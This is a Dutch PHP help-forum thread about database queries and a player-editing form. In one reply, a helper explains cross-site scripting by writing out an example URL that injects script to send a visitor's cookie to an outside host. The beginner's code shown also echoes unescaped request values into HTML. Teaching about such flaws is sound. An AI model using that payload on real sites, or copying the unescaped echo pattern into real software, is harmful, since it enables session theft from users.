abonnement Unibet Coolblue Bitvavo
  vrijdag 20 maart 2009 @ 23:15:20 #51
75592 GlowMouse
l'état, c'est moi
pi_67257255
Die ifjes zullen wel niet meer kloppen. Waarom doe je dat niet met een WHERE in je query?
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_67257523
Het is gewoon een hele lijst met data, evenementen en wat extra info. Daarvan wil ik op een homepage gewoon een samenvatting weergeven van de aankomende X-aantal evenementen. Zou met LIMIT gewoon moeten kunnen lijkt mij. Ik zie trouwens ook niet echt iets fout gaan in de IF's...
Aan dit bericht kunnen geen rechten worden ontleend.
  vrijdag 20 maart 2009 @ 23:30:28 #53
75592 GlowMouse
l'état, c'est moi
pi_67257885
quote:
Op vrijdag 20 maart 2009 23:21 schreef poepeneesje het volgende:
Zou met LIMIT gewoon moeten kunnen lijkt mij. Ik zie trouwens ook niet echt iets fout gaan in de IF's...
De 8 die je opvraagt voldoen niet aan de IF, klaar. En 'een hele lijst met data' kun je prima met je query filteren.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_67289209
Ik heb een probleem bij het doorgeven van waardes naar een ander formulier.
Ik heb een spelers tabel. In de spelerstabel staat bij elke rij edit knop. Deze knop roept een php bestand aan waarin de waardes voor de spelers kunnen worden aangepast. Ik kan wel wijzigingen doen maar de waardes worden niet in de velden gezet. De waardes worden als het ware niet doorgegeven. Mijn code is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
   function getrecords(){
   $sql = "SELECT * from SPELERS";
   $db = mysql_pconnect('localhost');
   if(!db){
      echo 'fout: kreeg geen verbinding met de database';
      exit;
      }
   mysql_select_db('zaalvoetbal');
   $result=mysql_query($sql);
   if (!$result){
      echo 'fout: sql statement niet correct';
      exit;
      }
   return $result;
   }
   function queryString ($id,$a,$b,$c,$d){
      return htmlspecialchars('spelers_id='.$id.'spelers_voornaam='.$a.'spelers_achternaam='.$b.'spelers_gsm='.$c.'spelers_punten='.$d);   
      }
   $result = getrecords();
   $num_results = mysql_num_rows($result);
   echo 'aantal records:'.$num_results.'<BR><BR>'."\n";
   echo '<table border=1>';
   for ($i=0;  $i < $num_results;$i++){
      $row = mysql_fetch_array($result);
      $spelers_id = $row['spelers_id'];
      $spelers_voornaam = $row['spelers_voornaam'];
      $spelers_achternaam = $row['spelers_achternaam'];
      $spelers_gsm = $row['spelers_gsm'];
      $spelers_punten = $row['spelers_punten'];
      echo '<tr><td>';
      echo $spelers_id;
      echo '</td><td>';
      echo $spelers_voornaam;
      echo '</td><td>';
      echo $spelers_achternaam;
      echo '</td><td>';
      echo $spelers_gsm;
      echo '</td><td>';
      echo $spelers_punten;
      echo '</td><td>';
      echo  '<a href="spelers_edit.php?';
      echo queryString($spelers_id,$spelers_voornaam,$spelers_achternaam,$spelers_gsm,$spelers_punten);
      echo '">edit</a>';
      echo '</td></tr>'."\n";
      }
      echo '</table>';
?>


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<h3>Spelers Bewerken</h3>
<?php
   $spelers_id = $HTTP_GET_VARS['spelers_id'];
   $spelers_voornaam = $HTTP_GET_VARS['spelers_voornaam'];
   $spelers_achternaam =  $HTTP_GET_VARS['spelers_achternaam'];
   $spelers_gsm =  $HTTP_GET_VARS['spelers_gsm'];
   $spelers_punten =  $HTTP_GET_VARS['spelers_punten'];
?>
<?php echo $spelers_voornaam?>;
<form method="post" action="spelersUpdateRecord.php">
<input type="hidden" name="spelers_id" value="<?php echo $spelers_id?>">
Voornaam:<br>
<input type="Text" name="spelers_voornaam" size=20 value="<?php echo $spelers_voornaam?>"><br><br>
achternaam:<br>
<input type="Text" name="spelers_achternaam" size=20 value="<?php echo $spelers_achternaam?>"><br><br>
gsm:<br>
<input type="Text" name="spelers_gsm" size=20 value="<?php echo $spelers_gsm?>"><br><br>
punten:<br>
<input type="Text" name="spelers_punten" size=20 value="<?php echo $spelers_punten?>"><br><br>
<input type="submit" name="bewaren" value="bewaren">
</form>
  zondag 22 maart 2009 @ 12:48:56 #55
75592 GlowMouse
l'état, c'est moi
pi_67290127
1. Je wilt geen verbinding maken met de database in een algemene functie.
2. mysql_pconnect kost lekker veel verbindingen wanneer je veel apache workerthreads hebt.
3. gebruik geen for én mysql_fetch_array($result), maar het kortere while($row = mysql_fetch_array($result)) { }
4. gebruik urlencode
5. gebruik $_GET['varname'] ipv $HTTP_GET_VARS['varname']
6. zoek eens op XSS (cross site scripting)
7. gebruik templates om code en opmaak te scheiden
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_67291921
quote:
Op zondag 22 maart 2009 12:48 schreef GlowMouse het volgende:
1. Je wilt geen verbinding maken met de database in een algemene functie.
2. mysql_pconnect kost lekker veel verbindingen wanneer je veel apache workerthreads hebt.
3. gebruik geen for én mysql_fetch_array($result), maar het kortere while($row = mysql_fetch_array($result)) { }
4. gebruik urlencode
5. gebruik $_GET['varname'] ipv $HTTP_GET_VARS['varname']
6. zoek eens op XSS (cross site scripting)
7. gebruik templates om code en opmaak te scheiden
ten eerste thx voor de tips! ik ben net begonnen en heb een boek gelezen die (net gekeken) in 2005 is uitgekomen. Ik ga een nieuw boek aanschaffen.
1. bedoel je hiermee dat je de een aparte php bestand moet aanmaken die het verbinding maken aanroept.
2. kan ik dan beter mysql_connect gebruiken
3. duidelijk
4. duidelijk
5. ok ik neem aan dat ik ook HTTP_POST_VARS moet vervangen door $_POST
6. net een stukje over gelezen. Ik begrijp eruit dat mijn db corrupt kan worden doordat ik via urls ook de gegevens weg kan schrijven. Hangt dit samen met punt 4?
7. duidelijk
pi_67292268
quote:
Op zondag 22 maart 2009 12:48 schreef GlowMouse het volgende:
1. Je wilt geen verbinding maken met de database in een algemene functie.
2. mysql_pconnect kost lekker veel verbindingen wanneer je veel apache workerthreads hebt.
3. gebruik geen for én mysql_fetch_array($result), maar het kortere while($row = mysql_fetch_array($result)) { }
4. gebruik urlencode
5. gebruik $_GET['varname'] ipv $HTTP_GET_VARS['varname']
6. zoek eens op XSS (cross site scripting)
7. gebruik templates om code en opmaak te scheiden
heb de$HTTP..vervangen door $_GET. Nog steeds wordt in invulvelden de waarde niet gevuld. Weet je waaraan het kan liggen?
  zondag 22 maart 2009 @ 13:58:42 #58
75592 GlowMouse
l'état, c'est moi
pi_67292308
1. Ja dat, en dan aan het begin van je script een keer aanroepen en die verbinding dan in de rest van je script gebruiken. Eventueel later kun je je eigen db-klasse shrijven.
2. ja, bij mysql gaat connecten toch snel.
5. klopt, en je hebt ook nog $_COOKIE.
6. Nee hangt niet samen. Input moet je altijd controleren. Zie oa. ook discussies over SQL injection. Wat als ik nu spelers_edit.php?spelers_id="><script language="JavaScript">document.write('<img src="http://mijnsite.com/?cookie' + document.cookie . '</img');</script> door jou laat aanklikken? Dan heb ik je cookie.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
  zondag 22 maart 2009 @ 13:59:09 #59
75592 GlowMouse
l'état, c'est moi
pi_67292318
quote:
Op zondag 22 maart 2009 13:57 schreef jakees het volgende:

[..]

heb de$HTTP..vervangen door $_GET. Nog steeds wordt in invulvelden de waarde niet gevuld. Weet je waaraan het kan liggen?
Nee, heb je een linkje?
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_67292404
quote:
Op zondag 22 maart 2009 13:59 schreef GlowMouse het volgende:

[..]

Nee, heb je een linkje?
nee ik werk alleen lokaal nog. Site is nog niet up zeg maar. Als ik in mijn spelers_edit.php
1<?php echo $spelers_voornaam?>; 
aanroep dan krijg ik geen resultaat. Het gekke is dat het wegschrijven wel goed gaat. De regel waar het ondermeer misgaat:
1<input type="Text" name="spelers_voornaam" size=20 value="<?php echo $spelers_voornaam?>"><br><br>
  zondag 22 maart 2009 @ 14:05:21 #61
75592 GlowMouse
l'état, c'est moi
pi_67292509
Puntkomma's moeten sowieso voor de ?> komen. Het statement is 'echo $spelers_voornaam', en dat moet je afsluiten met een puntkomma.
Je post begrijp ik niet.
eee7a201261dfdad9fdfe74277d27e68890cf0a220f41425870f2ca26e0521b0
pi_67294491
quote:
Op zondag 22 maart 2009 14:05 schreef GlowMouse het volgende:
Puntkomma's moeten sowieso voor de ?> komen. Het statement is 'echo $spelers_voornaam', en dat moet je afsluiten met een puntkomma.
Je post begrijp ik niet.
ik heb een scherm waarin spelers wil wijzigen één voor één. ik selecteer een speler in een scherm waarna ik in het wijzig scherm kom. Ik wil dan dat de waardes van de tabel in de velden gevuld zijn. Dus bij voornaam staat dan al bijvoorbeeld "piet". Deze tekst kan worden overschreven door hetgeen ik intyp in het veld.
pi_67302447
quote:
Op zondag 22 maart 2009 15:04 schreef jakees het volgende:

[..]

ik heb een scherm waarin spelers wil wijzigen één voor één. ik selecteer een speler in een scherm waarna ik in het wijzig scherm kom. Ik wil dan dat de waardes van de tabel in de velden gevuld zijn. Dus bij voornaam staat dan al bijvoorbeeld "piet". Deze tekst kan worden overschreven door hetgeen ik intyp in het veld.
Dan moet je je variablen vullen door middel van een database query, niet met een GET request.
pi_67312232
quote:
Op zondag 22 maart 2009 14:05 schreef GlowMouse het volgende:
en dat moet je afsluiten met een puntkomma.
<?= $bla ?> werkt prima zonder ; hoor (idem voor het langere <?php echo $bla ?>)
  maandag 23 maart 2009 @ 00:53:25 #65
56176 Catch22-
Ben je Blind?!
pi_67312437
misschien een idee om wat links naar basic tutorials neer te plempen in de OP? Ik zie hier steeds vaker vragen voorbijkomen, dat ik denk; wat weet je meer van php dan de wijze waarop je het spelt?
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
pi_67314401
Eens met Catch22. Het is dan wel voor dummies, maar dat wil niet zeggen dat iets van het niveau "ik wil iets, heb gehoord dat het met PHP kan en nu vraag ik jullie om een klant en klaar script" veel bijdraagt.
pi_67314456
quote:
Op maandag 23 maart 2009 08:39 schreef Roy_T het volgende:
Eens met Catch22. Het is dan wel voor dummies, maar dat wil niet zeggen dat iets van het niveau "ik wil iets, heb gehoord dat het met PHP kan en nu vraag ik jullie om een klant en klaar script" veel bijdraagt.
Eensch. Daarnaast zou een topic voor de wat meer onderlegde PHP-ers onder ons geen kwaad kunnen.
  maandag 23 maart 2009 @ 08:53:07 #68
56176 Catch22-
Ben je Blind?!
pi_67314638
naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
pi_67314676
quote:
Op maandag 23 maart 2009 08:53 schreef Catch22- het volgende:
naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
Eens. De ingewikkeldere vragen zijn leuker dan de 'help, ik heb iets gejat en het werkt niet' vragen.
  maandag 23 maart 2009 @ 11:20:34 #70
187069 slacker_nl
Sicko pur sang
pi_67318158
quote:
Op maandag 23 maart 2009 08:53 schreef Catch22- het volgende:
naja ik heb persoonlijk geen zin om newbies te helpen die nog niet weten hoe ze een formulier moeten posten en ik denk dat dat voor meer mensen geldt.

Als het leuke vragen zijn die getuigen van iets aan eigen inzet wil ik er best even over nadenken
Niemand verplicht je om vragen te beantwoorden, als jij ergens een vraag ziet waarvan je denkt, dat ga ik niet beantwoorden, doe het vooral ook niet.
In theory there is no difference between theory and practice. In practice there is.
  maandag 23 maart 2009 @ 11:45:03 #71
56176 Catch22-
Ben je Blind?!
pi_67318981
Nee dat is waar, maar misschien als we wat goeie tutorials (ook mbt debuggen) neerzetten, dan kan men die eerst doornemen.

Straks heb je hier een helpdesk met het nivo van 'plemp je codeblock hier neer en een nerd die lost het probleem wel'
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
  maandag 23 maart 2009 @ 12:06:39 #72
187069 slacker_nl
Sicko pur sang
pi_67319728
Op zich is dat ook niet erg, denk dat deze reeks ook daardoor zo succesvol is geworden, mensen kunnen hier gewoon hun PHP vragen kwijt, hoe simpel deze ook mogen zijn voor de PHP veteraan.

En het komt ook voor dat nav een simpele vraag de veteranen gaan lopen lullen of X methode beter is dan Y methode. Ik ben niet zo bang dat dit een helpdesk topic wordt, dat stadium hebben we allang bereikt
In theory there is no difference between theory and practice. In practice there is.
  maandag 23 maart 2009 @ 12:39:43 #73
56176 Catch22-
Ben je Blind?!
pi_67320794
dan nog is het niet erg om even een aantal tutorials te noemen in de OP
Heel veel groetjes, Catch22
En zoals mijn opa zei: "Al is het meisje nog zo mooi, haar poep stinkt ook". Rust Zacht opa..
Met GHB nooit meer nee
Storneren een optie?
  maandag 23 maart 2009 @ 13:11:24 #74
187069 slacker_nl
Sicko pur sang
pi_67321756
Daar heb ik ook geen problemen mee hoor
In theory there is no difference between theory and practice. In practice there is.
pi_67347039
http://www.fluffycat.com/PHP-Design-Patterns/ <-- design patterns, ook handig voor in de OP.
abonnement Unibet Coolblue Bitvavo
Forum Opties
Forumhop:
Hop naar:
(afkorting, bv 'KLB')